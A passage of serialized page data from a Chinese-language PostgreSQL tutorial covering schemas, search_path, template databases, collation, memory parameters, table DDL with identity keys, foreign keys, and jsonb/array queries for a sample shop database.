shop            —— 业务库\n │    ├── schema public     —— 默认命名空间\n │    └── schema business   —— 自定义命名空间：把「订单域」整组收拢\n │         ├── 表 orders\n │         └── 序列 \u002F 函数 \u002F 视图 \u002F 索引……都挂在 schema 里\n ├── 数据库 template1       —— 建库的默认模板\n └── 数据库 template0       —— 纯净模板\n",[22,37481,37479],{"__ignoreMap":314},[57,37483,37484,37495],{},[60,37485,37486],{},[63,37487,37488,37491,37493],{},[66,37489,37490],{},"层级",[66,37492,4872],{},[66,37494,37304],{},[79,37496,37497,37508,37519,37533],{},[63,37498,37499,37502,37505],{},[84,37500,37501],{},"实例（簇）",[84,37503,37504],{},"postmaster + 共享内存 + 一份数据目录",[84,37506,37507],{},"mysqld 实例",[63,37509,37510,37513,37516],{},[84,37511,37512],{},"database",[84,37514,37515],{},"相互完全隔离的数据库，各自有自己的目录",[84,37517,37518],{},"database（库）",[63,37520,37521,37524,37527],{},[84,37522,37523],{},"schema",[84,37525,37526],{},"库内的命名空间 + 授权单元",[84,37528,37529,37532],{},[17,37530,37531],{},"没有","——MySQL 库直接管表",[63,37534,37535,37538,37541],{},[84,37536,37537],{},"表",[84,37539,37540],{},"数据本身",[84,37542,57],{},[11,37544,37545,37546,37549,37550,37553],{},"多出这层 schema 不是官僚主义：一是",[17,37547,37548],{},"跨 database 不能直接 JOIN","（要上 postgres_fdw 这类外部包装器），但跨 schema 只要写前缀 ",[22,37551,37552],{},"business.orders"," 就行——所以「把 MySQL 的多个小库合成 PG 一个库的多个 schema」是很常见的迁移姿势，原本的跨库查询全部变通；二是权限可以按 schema 整组授予，第十一章的最小权限模板会用到。",[53,37555,37557],{"id":37556},"第二步建一个-schema把表放进去","第二步：建一个 schema，把表放进去",[308,37559,37563],{"className":37560,"code":37561,"language":37562,"meta":314,"style":314},"language-sql shiki shiki-themes github-dark","CREATE SCHEMA business;\nCREATE TABLE business.orders (id bigint, note text);\n","sql",[22,37564,37565,37570],{"__ignoreMap":314},[331,37566,37567],{"class":333,"line":334},[331,37568,37569],{},"CREATE SCHEMA business;\n",[331,37571,37572],{"class":333,"line":341},[331,37573,37574],{},"CREATE TABLE business.orders (id bigint, note text);\n",[11,37576,37577,37578,37581],{},"不带前缀的表名去哪找？由 ",[22,37579,37580],{},"search_path"," 决定：",[308,37583,37586],{"className":37584,"code":37585,"language":313,"meta":314},[311],"shop=# SHOW search_path;\n   search_path\n-----------------\n \"$user\", public\n(1 row)\n",[22,37587,37585],{"__ignoreMap":314},[11,37589,37590,37591,37594,37595,37597],{},"默认值是「与我同名的 schema，再 public」，第一个 ",[22,37592,37593],{},"\"$user\""," 99% 的情况下不存在，实际命中的都是 ",[22,37596,11501],{},"。把刚建的 schema 排到前面：",[308,37599,37601],{"className":37560,"code":37600,"language":37562,"meta":314,"style":314},"SET search_path = business, public;\nSELECT * FROM orders;              -- 等价于 business.orders\n",[22,37602,37603,37608],{"__ignoreMap":314},[331,37604,37605],{"class":333,"line":334},[331,37606,37607],{},"SET search_path = business, public;\n",[331,37609,37610],{"class":333,"line":341},[331,37611,37612],{},"SELECT * FROM orders;              -- 等价于 business.orders\n",[11,37614,37615,37616,37619,37620,272,37623,37626,37627,37630,37631,37634],{},"系统表所在的 ",[22,37617,37618],{},"pg_catalog"," 永远隐含在最前面，所以 ",[22,37621,37622],{},"pg_class",[22,37624,37625],{},"pg_settings"," 这类系统表名不会和你业务表打架。想临时改一次用上面的 ",[22,37628,37629],{},"SET","，想整个会话\u002F账号长期生效用 ",[22,37632,37633],{},"ALTER ROLE ... SET search_path","（第十一章的授权模板里就有这一句）。",[53,37636,37638],{"id":37637},"第三步建库时把编码和排序规则一次定死","第三步：建库时把编码和排序规则一次定死",[11,37640,37641,37643,37644,272,37646,272,37649,37652,37653,37656,37657,37660,37661,17306,37663,37665],{},[22,37642,37139],{}," 里永远能看到三个库：",[22,37645,37108],{},[22,37647,37648],{},"template1",[22,37650,37651],{},"template0","。PG 的 ",[22,37654,37655],{},"CREATE DATABASE"," 本质是",[17,37658,37659],{},"复制一份模板库","——默认复制 ",[22,37662,37648],{},[22,37664,37651],{}," 则是出厂纯净版，还能在建库时指定编码和排序规则（这是 template1 做不到的）：",[308,37667,37669],{"className":37560,"code":37668,"language":37562,"meta":314,"style":314},"CREATE DATABASE shop\n  TEMPLATE template0\n  ENCODING 'UTF8'\n  LC_COLLATE 'C.UTF-8'\n  LC_CTYPE 'C.UTF-8';\n",[22,37670,37671,37676,37681,37686,37691],{"__ignoreMap":314},[331,37672,37673],{"class":333,"line":334},[331,37674,37675],{},"CREATE DATABASE shop\n",[331,37677,37678],{"class":333,"line":341},[331,37679,37680],{},"  TEMPLATE template0\n",[331,37682,37683],{"class":333,"line":357},[331,37684,37685],{},"  ENCODING 'UTF8'\n",[331,37687,37688],{"class":333,"line":371},[331,37689,37690],{},"  LC_COLLATE 'C.UTF-8'\n",[331,37692,37693],{"class":333,"line":384},[331,37694,37695],{},"  LC_CTYPE 'C.UTF-8';\n",[11,37697,37698],{},"建库这一步把编码和 collation 定死，是第十六章核对清单的第一行，原因见本章坑 2。",[53,37700,37702],{"id":37701},"第四步必调的四个参数","第四步：必调的四个参数",[57,37704,37705,37718],{},[60,37706,37707],{},[63,37708,37709,37712,37714,37716],{},[66,37710,37711],{},"参数",[66,37713,5540],{},[66,37715,3723],{},[66,37717,19257],{},[79,37719,37720,37736,37755,37769],{},[63,37721,37722,37727,37730,37733],{},[84,37723,37724],{},[22,37725,37726],{},"shared_buffers",[84,37728,37729],{},"128MB",[84,37731,37732],{},"物理内存的 25% 左右",[84,37734,37735],{},"PG 自己的热数据缓存。注意它在 OS 页缓存之外又算一层，别给到 50%+",[63,37737,37738,37743,37746,37749],{},[84,37739,37740],{},[22,37741,37742],{},"work_mem",[84,37744,37745],{},"4MB",[84,37747,37748],{},"16~64MB 起步",[84,37750,37751,37754],{},[17,37752,37753],{},"单个排序 \u002F 哈希操作","的内存预算：一条 SQL 里可以用多个，再乘以并发连接数——盲目调大是内存事故的头号来源",[63,37756,37757,37761,37763,37766],{},[84,37758,37759],{},[22,37760,36796],{},[84,37762,712],{},[84,37764,37765],{},"≤300，前面加连接池",[84,37767,37768],{},"每连接是进程，开 2000 个先想清楚内存",[63,37770,37771,37776,37779,37782],{},[84,37772,37773],{},[22,37774,37775],{},"effective_cache_size",[84,37777,37778],{},"4GB",[84,37780,37781],{},"约等于 OS 可用页缓存",[84,37783,37784,37785,37788],{},"只影响优化器的成本估算，",[17,37786,37787],{},"不实际分配内存","——填小了优化器会不敢用索引",[4748,37790],{"height":37791,"src":37792,"title":37793},480,"\u002Ftutorials\u002Fpostgresql\u002Fdemos\u002F03-cluster-structure.html","示例 03：数据库簇的结构观察——\\l \u002F \\dn \u002F search_path \u002F 参数",[53,37795,4796],{"id":5640},[11,37797,37798,37804,37805,37807,37808,161],{},[17,37799,37800,37801,37803],{},"1. 往 ",[22,37802,37648],{}," 里建的东西，以后每个新库都会带着。"," 它是建库的默认模板，你在里面留了张测试表，之后 ",[22,37806,37655],{}," 出来的每个库都有这张表。要改模板先想清楚这一点，需要干净起点时用 ",[22,37809,37810],{},"TEMPLATE template0",[11,37812,37813,37816,37817,37820],{},[17,37814,37815],{},"2. 排序规则（collation）建库之后改不了","，而字符串索引的顺序完全依赖它——升个 glibc 版本导致 collation 行为变化、索引悄悄损坏的事故是有真实案例的。所以第三步那次「建库就定死」不是形式主义；已经建错了的库只能 ",[22,37818,37819],{},"pg_dump"," 出来重建。",[11,37822,37823,37826,37827,37830],{},[17,37824,37825],{},"3. 跨 database 不能 JOIN。"," 想当然照 MySQL 的 ",[22,37828,37829],{},"db1.t1 JOIN db2.t2"," 写会直接报错。要么用 postgres_fdw 挂外部表，要么按第一步说的：一个库、多个 schema。",[11,37832,37833,37839,37840,37843,37844,37847],{},[17,37834,37835,37836,37838],{},"4. PG 15 起 ",[22,37837,11501],{}," schema 默认收回普通用户的建表权。"," 普通用户 ",[22,37841,37842],{},"CREATE TABLE"," 会报 ",[22,37845,37846],{},"permission denied for schema public","。这不是 bug，是安全默认值——正确姿势是给业务单独建 schema、单独授权，第十一章给出整套模板。",[11,37849,37850,37855,37856,2012,37859,37861,37862,18878,37865,37868,37869,37872,37873,37875],{},[17,37851,9903,37852,37854],{},[22,37853,37580],{}," 里排前面的 schema 会遮蔽后面的同名表。"," 如果 ",[22,37857,37858],{},"business",[22,37860,11501],{}," 里都有 ",[22,37863,37864],{},"orders",[22,37866,37867],{},"SELECT * FROM orders"," 只会命中排在前面的那个。生产代码里跨 schema 的表",[17,37870,37871],{},"写全前缀","，或把 ",[22,37874,37580],{}," 固定成一组明确的 schema，别让它随会话漂移。",[11,37877,37878,37883,37884,4809,37886,37889],{},[17,37879,7717,37880,37882],{},[22,37881,37742],{}," 的账要会算：它不是「每个连接」的预算，而是「每个排序\u002F哈希节点」。"," 100 个连接、每条查询里两个 64MB 的排序节点，理论峰值就是 100 × 128MB = 12.8GB。调它之前先用 ",[22,37885,37143],{},[22,37887,37888],{},"EXPLAIN"," 确认瓶颈真的是排序\u002F哈希（第八章），而不是无脑加。",[48,37891,37893],{"id":37892},"四表结构定义类型选对索引的锅就少背一半","四、表结构定义：类型选对，索引的锅就少背一半",[11,37895,37896,37897,37899,37900,37903,37904,37906,37907,37910],{},"场景定型：这门课的示例业务是一个小电商——",[22,37898,26736],{},"（用户）、",[22,37901,37902],{},"products","（商品）、",[22,37905,37864],{},"（订单）、",[22,37908,37909],{},"order_items","（订单明细）。",[11,37912,37913],{},"本章分三段读，第一遍只看第一段就够了：",[1659,37915,37916,37922,37927],{},[1662,37917,37918,37921],{},[17,37919,37920],{},"入门四步","：建出能跑的表、类型怎么选、四张表怎么连起来、jsonb 与数组怎么查——全是可直接抄的最小示例；",[1662,37923,37924,37926],{},[17,37925,4796],{},"：8 个真实报错和它们的成因，等表建起来了再回头看；",[1662,37928,37929,37932],{},[17,37930,37931],{},"附：类型速查表","：字节长度、Java 类型、MySQL → PG 迁移对照，写 DDL 时查，不用通读。",[53,37934,37936],{"id":37935},"第一步先建出一张能跑的表","第一步：先建出一张能跑的表",[11,37938,37939,37940,37942],{},"最小的 ",[22,37941,26736],{}," 表，一行一个字段：",[308,37944,37946],{"className":37560,"code":37945,"language":37562,"meta":314,"style":314},"CREATE TABLE users (\n  id      bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,  -- 主键，数据库自己递增\n  name    text NOT NULL,                                    -- 用户名，必填\n  email   text NOT NULL UNIQUE,                             -- 邮箱，必填且不重复\n  memo    text,                                             -- 备注，可空（第五章拿它讲 NULL）\n  created_at timestamptz NOT NULL DEFAULT now()              -- 注册时间，默认当前时刻\n);\n",[22,37947,37948,37953,37958,37963,37968,37973,37978],{"__ignoreMap":314},[331,37949,37950],{"class":333,"line":334},[331,37951,37952],{},"CREATE TABLE users (\n",[331,37954,37955],{"class":333,"line":341},[331,37956,37957],{},"  id      bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,  -- 主键，数据库自己递增\n",[331,37959,37960],{"class":333,"line":357},[331,37961,37962],{},"  name    text NOT NULL,                                    -- 用户名，必填\n",[331,37964,37965],{"class":333,"line":371},[331,37966,37967],{},"  email   text NOT NULL UNIQUE,                             -- 邮箱，必填且不重复\n",[331,37969,37970],{"class":333,"line":384},[331,37971,37972],{},"  memo    text,                                             -- 备注，可空（第五章拿它讲 NULL）\n",[331,37974,37975],{"class":333,"line":397},[331,37976,37977],{},"  created_at timestamptz NOT NULL DEFAULT now()              -- 注册时间，默认当前时刻\n",[331,37979,37980],{"class":333,"line":418},[331,37981,37982],{},");\n",[11,37984,37985],{},"插一条、查一条，确认它真的活了：",[308,37987,37989],{"className":37560,"code":37988,"language":37562,"meta":314,"style":314},"INSERT INTO users (name, email) VALUES ('小明', 'xiaoming@example.com');\nSELECT id, name, email, created_at FROM users;\n",[22,37990,37991,37996],{"__ignoreMap":314},[331,37992,37993],{"class":333,"line":334},[331,37994,37995],{},"INSERT INTO users (name, email) VALUES ('小明', 'xiaoming@example.com');\n",[331,37997,37998],{"class":333,"line":341},[331,37999,38000],{},"SELECT id, name, email, created_at FROM users;\n",[308,38002,38005],{"className":38003,"code":38004,"language":313,"meta":314},[311]," id | name | email                |       created_at\n----+------+----------------------+-------------------------\n  1 | 小明 | xiaoming@example.com | 2026-10-16 11:20:31+08\n",[22,38006,38004],{"__ignoreMap":314},[11,38008,34382,38009,38012,38013,26877,38015,38018,38019,272,38022,272,38025,18878,38028,38030,38031,161],{},[22,38010,38011],{},"INSERT"," 里没有 ",[22,38014,8521],{},[22,38016,38017],{},"GENERATED ALWAYS AS IDENTITY"," 就是 PG 里「自增主键」的标准写法，值由数据库生成。Java 实体对应关系是 ",[22,38020,38021],{},"Long id",[22,38023,38024],{},"String name",[22,38026,38027],{},"OffsetDateTime createdAt",[22,38029,313],{}," 一律映射成 ",[22,38032,26103],{},[53,38034,38036],{"id":38035},"第二步类型怎么选先记住这六个","第二步：类型怎么选，先记住这六个",[57,38038,38039,38055],{},[60,38040,38041],{},[63,38042,38043,38046,38049,38052],{},[66,38044,38045],{},"存什么",[66,38047,38048],{},"就用它",[66,38050,38051],{},"Java 类型",[66,38053,38054],{},"一句话理由",[79,38056,38057,38075,38097,38122,38140,38160],{},[63,38058,38059,38062,38067,38072],{},[84,38060,38061],{},"主键、外键、ID",[84,38063,38064],{},[22,38065,38066],{},"bigint",[84,38068,38069],{},[22,38070,38071],{},"Long",[84,38073,38074],{},"64 位整型，雪花 ID 也装得下，不会哪天爆掉",[63,38076,38077,38080,38084,38088],{},[84,38078,38079],{},"任何文本（短用户名 \u002F 长正文）",[84,38081,38082],{},[22,38083,313],{},[84,38085,38086],{},[22,38087,26103],{},[84,38089,38090,38091,2012,38093,38096],{},"PG 里 ",[22,38092,313],{},[22,38094,38095],{},"varchar"," 是同一种实现，不用纠结长度",[63,38098,38099,38102,38107,38112],{},[84,38100,38101],{},"金额",[84,38103,38104],{},[22,38105,38106],{},"numeric(12, 2)",[84,38108,38109],{},[22,38110,38111],{},"BigDecimal",[84,38113,38114,38115,38118,38119],{},"精确十进制，",[22,38116,38117],{},"0.1 + 0.2"," 不会等于 ",[22,38120,38121],{},"0.30000000000000004",[63,38123,38124,38127,38132,38137],{},[84,38125,38126],{},"时间",[84,38128,38129],{},[22,38130,38131],{},"timestamptz",[84,38133,38134],{},[22,38135,38136],{},"OffsetDateTime",[84,38138,38139],{},"带时区的绝对时刻，换服务器也不漂",[63,38141,38142,38145,38149,38153],{},[84,38143,38144],{},"是否、开关",[84,38146,38147],{},[22,38148,8922],{},[84,38150,38151],{},[22,38152,26107],{},[84,38154,38155,38156,1901,38158],{},"字面量就是 ",[22,38157,1131],{},[22,38159,3193],{},[63,38161,38162,38165,38170,38175],{},[84,38163,38164],{},"数量、库存",[84,38166,38167],{},[22,38168,38169],{},"integer",[84,38171,38172],{},[22,38173,38174],{},"Integer",[84,38176,38177],{},"32 位，约 ±21 亿，计数场景足够",[11,38179,38180,38181,38184,38185,38188],{},"再加两个「进阶但很常用」：订单的扩展属性（渠道、活动信息）用 ",[22,38182,38183],{},"jsonb","，一条记录挂多个标签用 ",[22,38186,38187],{},"text[]"," 数组。它们都是 PG 的原生能力，不需要像 MySQL 那样把多个值拼成逗号字符串。",[11,38190,38191],{},"把商品表建出来，六个类型一次用全：",[308,38193,38195],{"className":37560,"code":38194,"language":37562,"meta":314,"style":314},"CREATE TABLE products (\n  id       bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,\n  title    text NOT NULL,\n  price    numeric(12, 2) NOT NULL CHECK (price >= 0),   -- 金额 + 非负校验\n  stock    integer NOT NULL DEFAULT 0,                   -- 库存，默认 0\n  on_sale  boolean NOT NULL DEFAULT true,                -- 是否上架\n  tags     text[],                                       -- 标签数组，可空\n  meta     jsonb,                                        -- 扩展属性\n  created_at  timestamptz NOT NULL DEFAULT now()\n);\n\nINSERT INTO products (title, price, stock, tags, meta)\nVALUES ('机械键盘', 399.00, 20, ARRAY['数码', '外设'], '{\"channel\": \"app\"}');\n\nSELECT title, price, tags, meta ->> 'channel' AS channel   -- ->> 取 jsonb 里的文本值\nFROM products;\n",[22,38196,38197,38202,38207,38212,38217,38222,38227,38232,38237,38242,38246,38250,38255,38260,38264,38269],{"__ignoreMap":314},[331,38198,38199],{"class":333,"line":334},[331,38200,38201],{},"CREATE TABLE products (\n",[331,38203,38204],{"class":333,"line":341},[331,38205,38206],{},"  id       bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,\n",[331,38208,38209],{"class":333,"line":357},[331,38210,38211],{},"  title    text NOT NULL,\n",[331,38213,38214],{"class":333,"line":371},[331,38215,38216],{},"  price    numeric(12, 2) NOT NULL CHECK (price >= 0),   -- 金额 + 非负校验\n",[331,38218,38219],{"class":333,"line":384},[331,38220,38221],{},"  stock    integer NOT NULL DEFAULT 0,                   -- 库存，默认 0\n",[331,38223,38224],{"class":333,"line":397},[331,38225,38226],{},"  on_sale  boolean NOT NULL DEFAULT true,                -- 是否上架\n",[331,38228,38229],{"class":333,"line":418},[331,38230,38231],{},"  tags     text[],                                       -- 标签数组，可空\n",[331,38233,38234],{"class":333,"line":427},[331,38235,38236],{},"  meta     jsonb,                                        -- 扩展属性\n",[331,38238,38239],{"class":333,"line":439},[331,38240,38241],{},"  created_at  timestamptz NOT NULL DEFAULT now()\n",[331,38243,38244],{"class":333,"line":450},[331,38245,37982],{},[331,38247,38248],{"class":333,"line":456},[331,38249,998],{"emptyLinePlaceholder":997},[331,38251,38252],{"class":333,"line":775},[331,38253,38254],{},"INSERT INTO products (title, price, stock, tags, meta)\n",[331,38256,38257],{"class":333,"line":785},[331,38258,38259],{},"VALUES ('机械键盘', 399.00, 20, ARRAY['数码', '外设'], '{\"channel\": \"app\"}');\n",[331,38261,38262],{"class":333,"line":795},[331,38263,998],{"emptyLinePlaceholder":997},[331,38265,38266],{"class":333,"line":805},[331,38267,38268],{},"SELECT title, price, tags, meta ->> 'channel' AS channel   -- ->> 取 jsonb 里的文本值\n",[331,38270,38271],{"class":333,"line":819},[331,38272,38273],{},"FROM products;\n",[308,38275,38278],{"className":38276,"code":38277,"language":313,"meta":314},[311],"  title   | price  | tags         | channel\n----------+--------+--------------+---------\n 机械键盘 | 399.00 | {数码,外设} | app\n",[22,38279,38277],{"__ignoreMap":314},[53,38281,38283],{"id":38282},"第三步把四张表连起来外键与约束","第三步：把四张表连起来（外键与约束）",[11,38285,38286,38287,38290,38291,38294],{},"订单和明细是一对多，",[22,38288,38289],{},"REFERENCES"," 就是外键，",[22,38292,38293],{},"ON DELETE CASCADE"," 表示「父行删了，子行跟着删」：",[308,38296,38298],{"className":37560,"code":38297,"language":37562,"meta":314,"style":314},"CREATE TABLE orders (\n  id       bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,\n  user_id  bigint NOT NULL REFERENCES users(id),          -- 外键指向 users.id\n  order_no text NOT NULL,                                 -- 订单号，第八章用它讲索引\n  status   text NOT NULL DEFAULT 'created',\n  amount   numeric(12, 2) NOT NULL DEFAULT 0,             -- 订单金额\n  paid_at  timestamptz,                                   -- 支付时间，未支付为 NULL\n  meta     jsonb,\n  tags     text[],\n  created_at  timestamptz NOT NULL DEFAULT now()\n);\n\nCREATE TABLE order_items (\n  id         bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,\n  order_id   bigint NOT NULL REFERENCES orders(id) ON DELETE CASCADE,\n  product_id bigint NOT NULL REFERENCES products(id),\n  price      numeric(12, 2) NOT NULL CHECK (price >= 0),\n  qty        integer NOT NULL CHECK (qty > 0),\n  total      numeric(12, 2) GENERATED ALWAYS AS (price * qty) STORED   -- 生成列\n);\n",[22,38299,38300,38305,38309,38314,38319,38324,38329,38334,38339,38344,38348,38352,38356,38361,38366,38371,38376,38381,38386,38391],{"__ignoreMap":314},[331,38301,38302],{"class":333,"line":334},[331,38303,38304],{},"CREATE TABLE orders (\n",[331,38306,38307],{"class":333,"line":341},[331,38308,38206],{},[331,38310,38311],{"class":333,"line":357},[331,38312,38313],{},"  user_id  bigint NOT NULL REFERENCES users(id),          -- 外键指向 users.id\n",[331,38315,38316],{"class":333,"line":371},[331,38317,38318],{},"  order_no text NOT NULL,                                 -- 订单号，第八章用它讲索引\n",[331,38320,38321],{"class":333,"line":384},[331,38322,38323],{},"  status   text NOT NULL DEFAULT 'created',\n",[331,38325,38326],{"class":333,"line":397},[331,38327,38328],{},"  amount   numeric(12, 2) NOT NULL DEFAULT 0,             -- 订单金额\n",[331,38330,38331],{"class":333,"line":418},[331,38332,38333],{},"  paid_at  timestamptz,                                   -- 支付时间，未支付为 NULL\n",[331,38335,38336],{"class":333,"line":427},[331,38337,38338],{},"  meta     jsonb,\n",[331,38340,38341],{"class":333,"line":439},[331,38342,38343],{},"  tags     text[],\n",[331,38345,38346],{"class":333,"line":450},[331,38347,38241],{},[331,38349,38350],{"class":333,"line":456},[331,38351,37982],{},[331,38353,38354],{"class":333,"line":775},[331,38355,998],{"emptyLinePlaceholder":997},[331,38357,38358],{"class":333,"line":785},[331,38359,38360],{},"CREATE TABLE order_items (\n",[331,38362,38363],{"class":333,"line":795},[331,38364,38365],{},"  id         bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,\n",[331,38367,38368],{"class":333,"line":805},[331,38369,38370],{},"  order_id   bigint NOT NULL REFERENCES orders(id) ON DELETE CASCADE,\n",[331,38372,38373],{"class":333,"line":819},[331,38374,38375],{},"  product_id bigint NOT NULL REFERENCES products(id),\n",[331,38377,38378],{"class":333,"line":850},[331,38379,38380],{},"  price      numeric(12, 2) NOT NULL CHECK (price >= 0),\n",[331,38382,38383],{"class":333,"line":886},[331,38384,38385],{},"  qty        integer NOT NULL CHECK (qty > 0),\n",[331,38387,38388],{"class":333,"line":909},[331,38389,38390],{},"  total      numeric(12, 2) GENERATED ALWAYS AS (price * qty) STORED   -- 生成列\n",[331,38392,38393],{"class":333,"line":918},[331,38394,37982],{},[11,38396,38397,38399,38400,38403,38404,161],{},[22,38398,30973],{}," 是 PG 12 起的",[17,38401,38402],{},"生成列","：由同表其他列算出、物理存储，查的时候不用每次重算 ",[22,38405,38406],{},"price * qty",[11,38408,38409,38410,322],{},"外键的删除动作按业务逐个选，别无脑 ",[22,38411,38412],{},"CASCADE",[57,38414,38415,38427],{},[60,38416,38417],{},[63,38418,38419,38422,38425],{},[66,38420,38421],{},"动作",[66,38423,38424],{},"父行被删时",[66,38426,11987],{},[79,38428,38429,38441,38454],{},[63,38430,38431,38435,38438],{},[84,38432,38433],{},[22,38434,38293],{},[84,38436,38437],{},"子行连带删除",[84,38439,38440],{},"强从属：订单没了，明细必须没了",[63,38442,38443,38448,38451],{},[84,38444,38445],{},[22,38446,38447],{},"ON DELETE SET NULL",[84,38449,38450],{},"子行外键置 NULL",[84,38452,38453],{},"弱关联：商品删了，收藏记录留着但指向空",[63,38455,38456,38461,38464],{},[84,38457,38458],{},[22,38459,38460],{},"ON DELETE RESTRICT",[84,38462,38463],{},"有子行就拒绝删除，报错",[84,38465,38466],{},"任何强引用",[11,38468,38469,38470,38473,38474,38476,38477,38479],{},"约束是应用层校验之外的最后防线：ORM 的校验能被绕过，",[22,38471,38472],{},"CHECK"," 不会。四张表建完，",[22,38475,37131],{}," 能看到它们，",[22,38478,37356],{}," 能看单表结构。最后造一条订单，给下一节的 jsonb \u002F 数组查询当数据：",[308,38481,38483],{"className":37560,"code":38482,"language":37562,"meta":314,"style":314},"INSERT INTO orders (user_id, status, meta, tags)\nVALUES (1, 'created', '{\"channel\": \"app\", \"tags\": [\"vip\"]}', ARRAY['vip']);\n",[22,38484,38485,38490],{"__ignoreMap":314},[331,38486,38487],{"class":333,"line":334},[331,38488,38489],{},"INSERT INTO orders (user_id, status, meta, tags)\n",[331,38491,38492],{"class":333,"line":341},[331,38493,38494],{},"VALUES (1, 'created', '{\"channel\": \"app\", \"tags\": [\"vip\"]}', ARRAY['vip']);\n",[53,38496,38498],{"id":38497},"第四步jsonb-取值与数组查询的三个写法","第四步：jsonb 取值与数组查询的三个写法",[11,38500,38501],{},"入门只需要三个操作符，先记住形状：",[308,38503,38505],{"className":37560,"code":38504,"language":37562,"meta":314,"style":314},"-- 1) ->> 取文本（最常用，Java 侧拿到的就是 String）\nSELECT meta ->> 'channel' AS channel FROM orders;\n\n-- 2) @> 包含查询：meta 里含这个键值对的就命中\nSELECT id FROM orders WHERE meta @> '{\"channel\": \"app\"}';\n\n-- 3) && 数组交集：tags 里含有 'vip' 的就命中\nSELECT id FROM orders WHERE tags && ARRAY['vip'];\n",[22,38506,38507,38512,38517,38521,38526,38531,38535,38540],{"__ignoreMap":314},[331,38508,38509],{"class":333,"line":334},[331,38510,38511],{},"-- 1) ->> 取文本（最常用，Java 侧拿到的就是 String）\n",[331,38513,38514],{"class":333,"line":341},[331,38515,38516],{},"SELECT meta ->> 'channel' AS channel FROM orders;\n",[331,38518,38519],{"class":333,"line":357},[331,38520,998],{"emptyLinePlaceholder":997},[331,38522,38523],{"class":333,"line":371},[331,38524,38525],{},"-- 2) @> 包含查询：meta 里含这个键值对的就命中\n",[331,38527,38528],{"class":333,"line":384},[331,38529,38530],{},"SELECT id FROM orders WHERE meta @> '{\"channel\": \"app\"}';\n",[331,38532,38533],{"class":333,"line":397},[331,38534,998],{"emptyLinePlaceholder":997},[331,38536,38537],{"class":333,"line":418},[331,38538,38539],{},"-- 3) && 数组交集：tags 里含有 'vip' 的就命中\n",[331,38541,38542],{"class":333,"line":427},[331,38543,38544],{},"SELECT id FROM orders WHERE tags && ARRAY['vip'];\n",[11,38546,38547,2012,38550,38553,38554,38556,38557,38559,38560,272,38563,272,38565,272,38568,38571],{},[22,38548,38549],{},"->",[22,38551,38552],{},"->>"," 的区别只在于返回 ",[22,38555,38183],{}," 还是 ",[22,38558,313],{},"；其余操作符（",[22,38561,38562],{},"#>>",[22,38564,1177],{},[22,38566,38567],{},"jsonb_set()",[22,38569,38570],{},"jsonb_array_elements()","）见本章末尾的速查表。",[53,38573,4796],{"id":6605},[11,38575,38576],{},"表能跑起来之后，再回头看这 8 条——它们都是上面那些「看起来没问题」的写法在真实项目里会长出来的刺。",[11,38578,38579,38585,38586,38589,38590,38592,38593,38596,38597,38600],{},[17,38580,8723,38581,38584],{},[22,38582,38583],{},"serial"," 不是类型，是宏，新表一律换 identity。"," 它会建一个序列并把默认值设成 ",[22,38587,38588],{},"nextval()","，三宗罪迟早撞上：不是 SQL 标准，迁移工具对不上；权限要单独授，把表授给应用账号后 ",[22,38591,38011],{}," 仍会报 ",[22,38594,38595],{},"permission denied for sequence users_id_seq","，得再 ",[22,38598,38599],{},"GRANT USAGE ON SEQUENCE"," 一次（第十一章模板里已包含）；序列和表归属松散，删来删去留孤儿。",[57,38602,38603,38619],{},[60,38604,38605],{},[63,38606,38607,38609,38614],{},[66,38608],{},[66,38610,38611,38613],{},[22,38612,38583],{}," 宏",[66,38615,38616],{},[22,38617,38618],{},"GENERATED ... AS IDENTITY",[79,38620,38621,38632,38645,38663],{},[63,38622,38623,38626,38629],{},[84,38624,38625],{},"标准",[84,38627,38628],{},"PG 方言",[84,38630,38631],{},"SQL 标准",[63,38633,38634,38637,38642],{},[84,38635,38636],{},"序列权限",[84,38638,38639,38640],{},"表授权之外要单独 ",[22,38641,38599],{},[84,38643,38644],{},"授权器自动处理，不踩坑",[63,38646,38647,38650,38653],{},[84,38648,38649],{},"手工插 id",[84,38651,38652],{},"默认就允许（副作用源头之一）",[84,38654,38655,38658,38659,38662],{},[22,38656,38657],{},"ALWAYS"," 拒绝 \u002F ",[22,38660,38661],{},"BY DEFAULT"," 允许，白纸黑字",[63,38664,38665,38668,38671],{},[84,38666,38667],{},"删表后序列",[84,38669,38670],{},"可能残留孤儿序列",[84,38672,38673],{},"随表删除",[11,38675,38676,38681],{},[17,38677,5672,38678,38680],{},[22,38679,38657],{}," 意味着你手工插 id 会被拒。"," 这是上面那条 DDL 的副作用，报错长这样：",[308,38683,38686],{"className":38684,"code":38685,"language":313,"meta":314},[311],"shop=# INSERT INTO users (id, name) VALUES (99, 'Bob');\nERROR:  cannot insert a non-DEFAULT value into column \"id\"\nDETAIL:  Column \"id\" is an identity column defined as GENERATED ALWAYS.\nHINT:  Use OVERRIDING SYSTEM VALUE to override.\n",[22,38687,38685],{"__ignoreMap":314},[11,38689,38690,38691,38694,38695,161],{},"迁移历史数据时加 ",[22,38692,38693],{},"OVERRIDING SYSTEM VALUE","；想平时也允许手工指定，建表时就用 ",[22,38696,38661],{},[11,38698,38699,268,38706,38708,38709,38712,38713,38715],{},[17,38700,38701,38702,38705],{},"3. 时间列写成 ",[22,38703,38704],{},"timestamp","，换时区就漂。",[22,38707,38131],{}," 存的是",[17,38710,38711],{},"绝对时刻","（内部按 UTC 记账），显示随会话时区变；",[22,38714,38704],{}," 存的只是「墙上读数」。实验两分钟胜过背十遍：",[308,38717,38719],{"className":37560,"code":38718,"language":37562,"meta":314,"style":314},"CREATE TABLE clock_t (ts timestamptz);\nSET TIME ZONE 'Asia\u002FShanghai';\nINSERT INTO clock_t VALUES ('2026-10-10 09:30:00');\nSELECT ts FROM clock_t;          -- 2026-10-10 09:30:00+08\nSET TIME ZONE 'UTC';\nSELECT ts FROM clock_t;          -- 2026-10-10 01:30:00+00\n",[22,38720,38721,38726,38731,38736,38741,38746],{"__ignoreMap":314},[331,38722,38723],{"class":333,"line":334},[331,38724,38725],{},"CREATE TABLE clock_t (ts timestamptz);\n",[331,38727,38728],{"class":333,"line":341},[331,38729,38730],{},"SET TIME ZONE 